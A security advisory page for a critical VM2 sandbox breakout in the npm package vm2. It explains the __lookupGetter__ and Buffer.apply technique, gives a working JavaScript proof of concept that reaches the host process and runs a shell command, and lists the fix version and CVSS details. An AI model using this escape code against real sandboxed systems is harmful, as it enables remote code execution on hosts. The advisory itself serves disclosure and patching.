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CVE-2026-24118

CRITICAL

VM2 Sandbox Breakout Through __lookupGetter__

Published May 4, 2026Updated May 8, 2026Source: osv

Summary

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `__lookupGetter__` method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context. This allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host `apply` method which can be accessed through `Buffer.apply`. Afterwards, this function can be used to call the host version of `__lookupGetter__` with `Buffer` and `__proto__` resulting in the prototype lookup method from the host context. With this method the hosts `Function.prototype` object can be retrieved and the host `Function` acquired through the `constructor` property which allows to create and run code in the host context. This issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using `Object.getOwnPropertyDescriptor` to get the `constructor` property. ### PoC The following code demonstrates this issue by acquiring the host process object and executing `touch pwned`. ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` const g = ({}).__lookupGetter__; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['__proto__']]); Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned'); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.0 or later
npm install vm2@3.11.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-693
    Protection Mechanism FailureMITRE
  • CWE-94
    Code InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-24118?
VM2 Sandbox Breakout Through __lookupGetter__ This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-24118?
CVE-2026-24118 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-24118 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-grj5-jjm8-h35p

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